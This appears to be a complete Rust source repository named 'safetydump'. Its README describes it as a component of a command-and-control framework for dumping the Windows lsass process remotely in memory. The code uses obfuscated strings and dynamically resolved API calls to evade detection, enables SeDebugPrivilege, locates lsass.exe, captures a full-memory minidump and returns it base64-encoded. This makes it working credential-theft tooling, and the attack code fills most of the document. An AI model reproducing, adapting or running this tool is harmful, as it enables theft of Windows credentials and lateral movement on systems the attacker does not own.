├── .gitignore ├── Cargo.toml ├── LICENSE ├── README.md └── src ├── lib.rs └── main.rs /.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | /target/ 4 | 5 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries 6 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html 7 | Cargo.lock 8 | 9 | # These are backup files generated by rustfmt 10 | **/*.rs.bk 11 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "safetydump" 3 | version = "0.1.0" 4 | authors = ["nt"] 5 | edition = "2018" 6 | 7 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 8 | 9 | [dependencies] 10 | winapi = { version = "0.3", features = ["heapapi", "psapi", "winbase", "winerror", "winhttp"] } 11 | base64 = "0.13.0" 12 | obfstr = "0.3" 13 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU AFFERO GENERAL PUBLIC LICENSE 2 | Version 3, 19 November 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU Affero General Public License is a free, copyleft license for 11 | software and other kinds of works, specifically designed to ensure 12 | cooperation with the community in the case of network server software. 13 | 14 | The licenses for most software and other practical works are designed 15 | to take away your freedom to share and change the works. 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Interpretation of Sections 15 and 16. 611 | 612 | If the disclaimer of warranty and limitation of liability provided 613 | above cannot be given local legal effect according to their terms, 614 | reviewing courts shall apply local law that most closely approximates 615 | an absolute waiver of all civil liability in connection with the 616 | Program, unless a warranty or assumption of liability accompanies a 617 | copy of the Program in return for a fee. 618 | 619 | END OF TERMS AND CONDITIONS 620 | 621 | How to Apply These Terms to Your New Programs 622 | 623 | If you develop a new program, and you want it to be of the greatest 624 | possible use to the public, the best way to achieve this is to make it 625 | free software which everyone can redistribute and change under these terms. 626 | 627 | To do so, attach the following notices to the program. It is safest 628 | to attach them to the start of each source file to most effectively 629 | state the exclusion of warranty; and each file should have at least 630 | the "copyright" line and a pointer to where the full notice is found. 631 | 632 | 633 | Copyright (C) 634 | 635 | This program is free software: you can redistribute it and/or modify 636 | it under the terms of the GNU Affero General Public License as published 637 | by the Free Software Foundation, either version 3 of the License, or 638 | (at your option) any later version. 639 | 640 | This program is distributed in the hope that it will be useful, 641 | but WITHOUT ANY WARRANTY; without even the implied warranty of 642 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 643 | GNU Affero General Public License for more details. 644 | 645 | You should have received a copy of the GNU Affero General Public License 646 | along with this program. If not, see . 647 | 648 | Also add information on how to contact you by electronic and paper mail. 649 | 650 | If your software can interact with users remotely through a computer 651 | network, you should also make sure that it provides a way for users to 652 | get its source. For example, if your program is a web application, its 653 | interface could display a "Source" link that leads users to an archive 654 | of the code. There are many ways you could offer source, and different 655 | solutions will be better for different programs; see section 13 for the 656 | specific requirements. 657 | 658 | You should also get your employer (if you work as a programmer) or school, 659 | if any, to sign a "copyright disclaimer" for the program, if necessary. 660 | For more information on this, and how to apply and follow the GNU AGPL, see 661 | . 662 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # safetydump 2 | 3 | Rust in-memory MiniDump implementation. 4 | 5 | ## Features 6 | - ntdll!NtGetNextProcess to obtain a handle for the desired ProcessId as opposed to [kernel32!OpenProcess](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess) 7 | - Functions dynmaically resolved 8 | - Strings are obfuscated in lib.rs 9 | 10 | This was written to integrate with the [link](https://github.com/postrequest/link/) command and control framework for dumping lsass remotely in memory. 11 | 12 | ## Acknowledgments 13 | [@m0rv4i](https://github.com/m0rv4i/) for the [MinidumpCallbackRoutine](https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nc-minidumpapiset-minidump_callback_routine) implementation in [SafetyDump](https://github.com/m0rv4i/SafetyDump). 14 | [@TheWover](https://github.com/TheWover) for NtGetNextProcess usage idea. It is also used in [ProcessHacker](https://github.com/processhacker/processhacker). 15 | -------------------------------------------------------------------------------- /src/lib.rs: -------------------------------------------------------------------------------- 1 | #![allow(non_snake_case)] 2 | use winapi::{ 3 | ctypes::c_void, 4 | shared::{ 5 | basetsd::{DWORD_PTR, SIZE_T}, 6 | ntdef::{ 7 | HANDLE, 8 | HRESULT, 9 | LPCWSTR, 10 | LUID, 11 | NTSTATUS, 12 | }, 13 | minwindef::{BOOL, DWORD, FARPROC, HMODULE, LPCVOID, LPVOID, MAX_PATH, PDWORD}, 14 | winerror::{ 15 | ERROR_NOT_ALL_ASSIGNED, 16 | S_FALSE, 17 | S_OK 18 | }, 19 | }, 20 | um::{ 21 | libloaderapi::{GetProcAddress, LoadLibraryW}, // resolve these dynamically 22 | psapi::{PPROCESS_MEMORY_COUNTERS, PROCESS_MEMORY_COUNTERS}, 23 | winnt::{ 24 | ACCESS_MASK, 25 | HEAP_ZERO_MEMORY, 26 | LUID_AND_ATTRIBUTES, 27 | MAXIMUM_ALLOWED, 28 | PTOKEN_PRIVILEGES, 29 | RtlCopyMemory, 30 | SE_DEBUG_NAME, 31 | SE_PRIVILEGE_ENABLED, 32 | TOKEN_ADJUST_PRIVILEGES, 33 | TOKEN_PRIVILEGES, 34 | TOKEN_QUERY, 35 | }, 36 | }, 37 | }; 38 | use std::{ 39 | ffi::OsStr, 40 | mem::{drop, forget, MaybeUninit, size_of, size_of_val}, 41 | os::windows::ffi::OsStrExt, 42 | slice::from_raw_parts_mut, 43 | }; 44 | 45 | // dynamically resolved functions 46 | // dll handles and locate function 47 | fn get_dll(dll_name: &str) -> HMODULE { 48 | let handle = unsafe { LoadLibraryW(get_wide(dll_name).as_ptr()) }; 49 | if handle.is_null() { 50 | return 0 as _ 51 | } 52 | handle 53 | } 54 | 55 | fn get_fn(dll: HMODULE, fn_name: &str) -> FARPROC { 56 | let func = unsafe { GetProcAddress(dll, fn_name.as_ptr() as _) }; 57 | if func.is_null() { 58 | return 0 as _ 59 | } 60 | func 61 | } 62 | 63 | // heapapi 64 | fn get_process_heap() -> Option HANDLE> { 65 | let k32_handle = get_dll(obfstr::obfstr!("kernel32.dll")); 66 | let func = get_fn(k32_handle, obfstr::obfstr!("GetProcessHeap\0")); 67 | Some(unsafe { std::mem::transmute(func as FARPROC) }) 68 | } 69 | 70 | fn heap_alloc() -> Option LPVOID> { 71 | let k32_handle = get_dll(obfstr::obfstr!("kernel32.dll")); 72 | let func = get_fn(k32_handle, obfstr::obfstr!("HeapAlloc\0")); 73 | Some(unsafe { std::mem::transmute(func as FARPROC) }) 74 | } 75 | 76 | fn heap_realloc() -> Option LPVOID> { 77 | let k32_handle = get_dll(obfstr::obfstr!("kernel32.dll")); 78 | let func = get_fn(k32_handle, obfstr::obfstr!("HeapReAlloc\0")); 79 | Some(unsafe { std::mem::transmute(func as FARPROC) }) 80 | } 81 | 82 | fn heap_free() -> Option bool> { 83 | let k32_handle = get_dll(obfstr::obfstr!("kernel32.dll")); 84 | let func = get_fn(k32_handle, obfstr::obfstr!("HeapFree\0")); 85 | Some(unsafe { std::mem::transmute(func as FARPROC) }) 86 | } 87 | 88 | fn heap_size() -> Option SIZE_T> { 89 | let k32_handle = get_dll(obfstr::obfstr!("kernel32.dll")); 90 | let func = get_fn(k32_handle, obfstr::obfstr!("HeapSize\0")); 91 | Some(unsafe { std::mem::transmute(func as FARPROC) }) 92 | } 93 | 94 | // define enums and structs 95 | #[repr(transparent)] 96 | #[derive(Copy, Clone, Debug, Eq, PartialEq)] 97 | #[allow(non_camel_case_types)] 98 | struct MINIDUMP_CALLBACK_TYPE(pub i32); 99 | #[allow(non_upper_case_globals)] 100 | #[allow(dead_code)] 101 | impl MINIDUMP_CALLBACK_TYPE { 102 | const ModuleCallback: Self = Self(0); 103 | const ThreadCallback: Self = Self(1); 104 | const ThreadExCallback: Self = Self(2); 105 | const IncludeThreadCallback: Self = Self(3); 106 | const IncludeModuleCallback: Self = Self(4); 107 | const MemoryCallback: Self = Self(5); 108 | const CancelCallback: Self = Self(6); 109 | const WriteKernelMinidumpCallback: Self = Self(7); 110 | const KernelMinidumpStatusCallback: Self = Self(8); 111 | const RemoveMemoryCallback: Self = Self(9); 112 | const IncludeVmRegionCallback: Self = Self(10); 113 | const IoStartCallback: Self = Self(11); 114 | const IoWriteAllCallback: Self = Self(12); 115 | const IoFinishCallback: Self = Self(13); 116 | const ReadMemoryFailureCallback: Self = Self(14); 117 | const SecondaryFlagsCallback: Self = Self(15); 118 | const IsProcessSnapshotCallback: Self = Self(16); 119 | const VmStartCallback: Self = Self(17); 120 | const VmQueryCallback: Self = Self(18); 121 | const VmPreReadCallback: Self = Self(19); 122 | const VmPostReadCallback: Self = Self(20); 123 | } 124 | 125 | #[allow(dead_code)] 126 | #[repr(C, packed)] 127 | pub struct MINIDUMP_CALLBACK_OUTPUT { 128 | status: HRESULT 129 | } 130 | 131 | #[allow(dead_code)] 132 | #[repr(C, packed)] 133 | pub struct MINIDUMP_CALLBACK_INPUT { 134 | process_id: i32, 135 | process_handle: *mut c_void, 136 | callback_type: MINIDUMP_CALLBACK_TYPE, 137 | io: MINIDUMP_IO_CALLBACK, 138 | } 139 | 140 | #[allow(dead_code)] 141 | #[repr(C, packed)] 142 | pub struct MINIDUMP_CALLBACK_INFORMATION<'a> { 143 | CallbackRoutine: *mut c_void, 144 | CallbackParam: &'a mut *mut c_void, 145 | } 146 | 147 | #[allow(dead_code)] 148 | #[repr(C, packed)] 149 | pub struct MINIDUMP_IO_CALLBACK { 150 | handle: *mut c_void, 151 | offset: u64, 152 | buffer: *mut c_void, 153 | buffer_bytes: u32 154 | } 155 | 156 | #[repr(transparent)] 157 | #[derive(Copy, Clone, Debug, Eq, PartialEq)] 158 | #[allow(non_camel_case_types)] 159 | struct MINIDUMP_TYPE(pub i64); 160 | #[allow(non_upper_case_globals)] 161 | #[allow(dead_code)] 162 | impl MINIDUMP_TYPE { 163 | const MiniDumpNormal: Self = Self(0); 164 | const MiniDumpWithDataSegs: Self = Self(1); 165 | const MiniDumpWithFullMemory: Self = Self(2); 166 | const MiniDumpWithHandleData: Self = Self(3); 167 | const MiniDumpFilterMemory: Self = Self(4); 168 | const MiniDumpScanMemory: Self = Self(5); 169 | const MiniDumpWithUnloadedModules: Self = Self(6); 170 | const MiniDumpWithIndirectlyReferencedMemory: Self = Self(7); 171 | const MiniDumpFilterModulePaths: Self = Self(8); 172 | const MiniDumpWithProcessThreadData: Self = Self(9); 173 | const MiniDumpWithPrivateReadWriteMemory: Self = Self(10); 174 | const MiniDumpWithoutOptionalData: Self = Self(11); 175 | const MiniDumpWithFullMemoryInfo: Self = Self(12); 176 | const MiniDumpWithThreadInfo: Self = Self(13); 177 | const MiniDumpWithCodeSegs: Self = Self(14); 178 | const MiniDumpWithoutAuxiliaryState: Self = Self(15); 179 | const MiniDumpWithFullAuxiliaryState: Self = Self(16); 180 | const MiniDumpWithPrivateWriteCopyMemory: Self = Self(17); 181 | const MiniDumpIgnoreInaccessibleMemory: Self = Self(18); 182 | const MiniDumpWithTokenInformation: Self = Self(19); 183 | const MiniDumpWithModuleHeaders: Self = Self(20); 184 | const MiniDumpFilterTriage: Self = Self(21); 185 | const MiniDumpWithAvxXStateContext: Self = Self(22); 186 | const MiniDumpWithIptTrace: Self = Self(23); 187 | const MiniDumpScanInaccessiblePartialPages: Self = Self(24); 188 | const MiniDumpValidTypeFlags: Self = Self(25); 189 | } 190 | 191 | pub fn get_wide(s: &str) -> Vec { 192 | OsStr::new(s).encode_wide().chain(std::iter::once(0)).collect() 193 | } 194 | 195 | fn enable_sedebug() -> bool { 196 | // get DLL handles and locate functions 197 | let k32_handle = get_dll(obfstr::obfstr!("kernel32.dll")); 198 | let a32_handle = get_dll(obfstr::obfstr!("advapi32.dll")); 199 | let gcp_func = get_fn(k32_handle, obfstr::obfstr!("GetCurrentProcess\0")); 200 | let opt_func = get_fn(a32_handle, obfstr::obfstr!("OpenProcessToken\0")); 201 | let lpvw_func = get_fn(a32_handle, obfstr::obfstr!("LookupPrivilegeValueW\0")); 202 | let atp_func = get_fn(a32_handle, obfstr::obfstr!("AdjustTokenPrivileges\0")); 203 | let gle_func = get_fn(k32_handle, obfstr::obfstr!("GetLastError\0")); 204 | let ch_func = get_fn(k32_handle, obfstr::obfstr!("CloseHandle\0")); 205 | 206 | // define functions 207 | let GetCurrentProcess: unsafe fn( 208 | ) -> HANDLE = unsafe { std::mem::transmute(gcp_func as FARPROC) }; 209 | 210 | let OpenProcessToken: unsafe fn( 211 | HANDLE, 212 | DWORD, 213 | *mut HANDLE, 214 | ) -> bool = unsafe { std::mem::transmute(opt_func as FARPROC) }; 215 | 216 | let LookupPrivilegeValueW: unsafe fn( 217 | LPCWSTR, 218 | LPCWSTR, 219 | *mut LUID, 220 | ) -> bool = unsafe { std::mem::transmute(lpvw_func as FARPROC) }; 221 | 222 | let AdjustTokenPrivileges: unsafe fn( 223 | HANDLE, 224 | BOOL, 225 | PTOKEN_PRIVILEGES, 226 | DWORD, 227 | PTOKEN_PRIVILEGES, 228 | PDWORD, 229 | ) -> bool = unsafe { std::mem::transmute(atp_func as FARPROC) }; 230 | 231 | let GetLastError: unsafe fn( 232 | ) -> DWORD = unsafe { std::mem::transmute(gle_func as FARPROC) }; 233 | 234 | let CloseHandle: unsafe fn( 235 | HANDLE 236 | ) -> bool = unsafe { std::mem::transmute(ch_func as FARPROC) }; 237 | 238 | // Obtain token handle 239 | let mut h_token: HANDLE = 0 as _; 240 | let _ = unsafe { OpenProcessToken( 241 | GetCurrentProcess(), 242 | TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, 243 | &mut h_token, 244 | )}; 245 | 246 | // Required privilege 247 | let privs = LUID_AND_ATTRIBUTES { 248 | Luid: LUID { 249 | LowPart: 0, 250 | HighPart: 0, 251 | }, 252 | Attributes: SE_PRIVILEGE_ENABLED, 253 | }; 254 | let mut tp = TOKEN_PRIVILEGES { 255 | PrivilegeCount: 1, 256 | Privileges: [privs ;1], 257 | }; 258 | let _ = unsafe { LookupPrivilegeValueW( 259 | 0 as _, 260 | get_wide(SE_DEBUG_NAME).as_mut_ptr(), 261 | &mut tp.Privileges[0].Luid, 262 | )}; 263 | 264 | // Enable the privilege 265 | // ERROR HERE - STATUS_ACCESS_VIOLATION 266 | let _ = unsafe { AdjustTokenPrivileges( 267 | h_token, 268 | false as _, 269 | &mut tp, 270 | size_of::() as _, 271 | 0 as _, 272 | 0 as _, 273 | )}; 274 | 275 | // Check if privilege was enabled 276 | if unsafe{ GetLastError() } == ERROR_NOT_ALL_ASSIGNED { 277 | return false 278 | } 279 | let _ = unsafe { CloseHandle(h_token) }; 280 | 281 | return true 282 | } 283 | 284 | pub fn minidump_callback_routine(buf: &mut *mut c_void, callbackInput: MINIDUMP_CALLBACK_INPUT, callbackOutput: &mut MINIDUMP_CALLBACK_OUTPUT) -> bool { 285 | match callbackInput.callback_type { 286 | MINIDUMP_CALLBACK_TYPE::IoStartCallback => { 287 | callbackOutput.status = S_FALSE; 288 | return true 289 | }, 290 | MINIDUMP_CALLBACK_TYPE::IoWriteAllCallback => { 291 | callbackOutput.status = S_OK; 292 | let read_buf_size = callbackInput.io.buffer_bytes; 293 | let GetProcessHeap = get_process_heap().unwrap(); 294 | let HeapSize = heap_size().unwrap(); 295 | let HeapReAlloc = heap_realloc().unwrap(); 296 | let current_buf_size = unsafe { HeapSize( 297 | GetProcessHeap(), 298 | 0 as _, 299 | *buf 300 | ) }; 301 | // check if buffer is large enough 302 | let extra_5mb: usize = 1024*1024 * 5; 303 | let bytes_and_offset = callbackInput.io.offset as usize + callbackInput.io.buffer_bytes as usize; 304 | if bytes_and_offset >= current_buf_size { 305 | // increase heap size 306 | let size_to_increase = if bytes_and_offset <= (current_buf_size*2) { 307 | current_buf_size * 2 308 | } else { 309 | bytes_and_offset + extra_5mb 310 | }; 311 | *buf = unsafe { HeapReAlloc( 312 | GetProcessHeap(), 313 | 0 as _, 314 | *buf, 315 | size_to_increase 316 | )}; 317 | } 318 | 319 | let source = callbackInput.io.buffer as *mut c_void; 320 | let destination = (*buf as DWORD_PTR + callbackInput.io.offset as DWORD_PTR) as LPVOID; 321 | let _ = unsafe { 322 | RtlCopyMemory( 323 | destination, 324 | source, 325 | read_buf_size as usize 326 | ) 327 | }; 328 | return true 329 | }, 330 | MINIDUMP_CALLBACK_TYPE::IoFinishCallback => { 331 | callbackOutput.status = S_OK; 332 | return true 333 | }, 334 | _ => { 335 | return true 336 | }, 337 | } 338 | } 339 | 340 | pub fn in_memory_dump(args: Vec<&str>) -> String { 341 | if args.len() < 2 { 342 | return "".to_string() 343 | } 344 | 345 | // extract argument 346 | let mut pid = match args[1].parse::() { 347 | Err(_) => return "".to_string(), 348 | Ok(pid) => pid, 349 | }; 350 | 351 | // get DLL handles and locate functions 352 | let dbghelp_handle = get_dll(obfstr::obfstr!("C:\\Windows\\System32\\dbghelp.dll")); 353 | let k32_handle = get_dll(obfstr::obfstr!("kernel32.dll")); 354 | let ntdll_handle = get_dll(obfstr::obfstr!("ntdll.dll")); 355 | let psapi_handle = get_dll(obfstr::obfstr!("psapi.dll")); 356 | let getnext_func = get_fn(ntdll_handle, obfstr::obfstr!("NtGetNextProcess\0")); 357 | let mdwd_func = get_fn(dbghelp_handle, obfstr::obfstr!("MiniDumpWriteDump\0")); 358 | let getfilename_func = get_fn(psapi_handle, obfstr::obfstr!("GetModuleFileNameExW\0")); 359 | let getmeminfo_func = get_fn(psapi_handle, obfstr::obfstr!("GetProcessMemoryInfo\0")); 360 | let getpid_func = get_fn(k32_handle, obfstr::obfstr!("GetProcessId\0")); 361 | let freelib_func = get_fn(k32_handle, obfstr::obfstr!("FreeLibrary\0")); 362 | 363 | // define functions 364 | let MiniDumpWriteDump: unsafe fn( 365 | HANDLE, 366 | DWORD, 367 | HANDLE, 368 | u64, 369 | *mut c_void, 370 | *mut c_void, 371 | *mut MINIDUMP_CALLBACK_INFORMATION 372 | ) -> bool = unsafe { std::mem::transmute(mdwd_func as FARPROC) }; 373 | 374 | let FreeLibrary: unsafe fn( 375 | HMODULE, 376 | ) -> bool = unsafe { std::mem::transmute(freelib_func as FARPROC) }; 377 | 378 | let NtGetNextProcess: unsafe fn( 379 | HANDLE, 380 | ACCESS_MASK, 381 | u32, 382 | u32, 383 | *mut HANDLE, 384 | ) -> NTSTATUS = unsafe { std::mem::transmute(getnext_func as FARPROC) }; 385 | 386 | let GetModuleFileNameExW: unsafe fn( 387 | HANDLE, 388 | HMODULE, 389 | *mut u16, 390 | DWORD, 391 | ) -> DWORD = unsafe { std::mem::transmute(getfilename_func as FARPROC) }; 392 | 393 | let GetProcessId: unsafe fn( 394 | HANDLE 395 | ) -> DWORD = unsafe { std::mem::transmute(getpid_func as FARPROC) }; 396 | 397 | let GetProcessMemoryInfo: unsafe fn( 398 | HANDLE, 399 | PPROCESS_MEMORY_COUNTERS, 400 | DWORD, 401 | ) -> BOOL = unsafe { std::mem::transmute(getmeminfo_func as FARPROC) }; 402 | 403 | #[allow(unused_assignments)] 404 | let mut handle: HANDLE = 0 as _; 405 | 406 | while unsafe { NtGetNextProcess( 407 | handle, 408 | MAXIMUM_ALLOWED, 409 | 0, 410 | 0, 411 | &mut handle, 412 | )} == 0 { 413 | let mut buf = [0; MAX_PATH]; 414 | let _ = unsafe { GetModuleFileNameExW( 415 | handle, 416 | 0 as _, 417 | &mut buf[0], 418 | MAX_PATH as _, 419 | )}; 420 | let buf_str = String::from_utf16_lossy(&buf[..MAX_PATH]); 421 | if pid == 0 { 422 | if buf_str.contains(obfstr::obfstr!("C:\\Windows\\System32\\lsass.exe")) { 423 | // get lsass.exe handle 424 | pid = unsafe { GetProcessId(handle) }; 425 | break; 426 | } 427 | } else { 428 | if pid == unsafe { GetProcessId(handle) } { 429 | break; 430 | } 431 | } 432 | } 433 | 434 | if handle.is_null() { 435 | return obfstr::obfstr!("could not open PID").to_string() 436 | } 437 | 438 | if !enable_sedebug() { 439 | return obfstr::obfstr!("SeDebugPrivilege not assigned").to_string() 440 | } 441 | 442 | // get lsass size and add padding 443 | let extra_5mb: usize = 1024*1024 * 5; 444 | let buf_size: usize; 445 | let mut pmc = MaybeUninit::::uninit(); 446 | let gpm_ret = unsafe { GetProcessMemoryInfo( 447 | handle, 448 | pmc.as_mut_ptr(), 449 | size_of_val(&pmc) as DWORD 450 | )}; 451 | if gpm_ret != 0 { 452 | let pmc = unsafe { pmc.assume_init() }; 453 | buf_size = pmc.WorkingSetSize + extra_5mb; 454 | } else { 455 | return "".to_string() 456 | } 457 | 458 | // alloc memory in current process 459 | let GetProcessHeap = get_process_heap().unwrap(); 460 | let HeapAlloc = heap_alloc().unwrap(); 461 | let mut buf = unsafe { HeapAlloc( 462 | GetProcessHeap(), 463 | HEAP_ZERO_MEMORY, 464 | buf_size 465 | )}; 466 | forget(buf); 467 | 468 | // set up minidump callback 469 | let mut callback_info = MINIDUMP_CALLBACK_INFORMATION { 470 | CallbackRoutine: minidump_callback_routine as _, 471 | CallbackParam: &mut buf, 472 | }; 473 | let _ = unsafe{ MiniDumpWriteDump( 474 | handle, 475 | pid, 476 | 0 as _, 477 | 0x00000002,//MINIDUMP_TYPE::MiniDumpWithFullMemory, 478 | 0 as _, 479 | 0 as _, 480 | &mut callback_info 481 | )}; 482 | let _ = unsafe { FreeLibrary(dbghelp_handle) }; 483 | 484 | // base64 485 | let buf_slice: &mut [u8] = unsafe { from_raw_parts_mut(buf as _, buf_size) }; 486 | let buf_b64 = base64::encode(buf_slice); 487 | 488 | // drop allocated memory 489 | let HeapFree = heap_free().unwrap(); 490 | let _ = unsafe { HeapFree( 491 | GetProcessHeap(), 492 | 0 as _, 493 | buf 494 | )}; 495 | drop(buf); 496 | 497 | return buf_b64 498 | } 499 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | use safetydump::in_memory_dump; 2 | 3 | fn main() { 4 | let test = vec!["safetydump", "0"]; 5 | let buf_b64 = in_memory_dump(test); 6 | println!("{}", buf_b64); 7 | } 8 | --------------------------------------------------------------------------------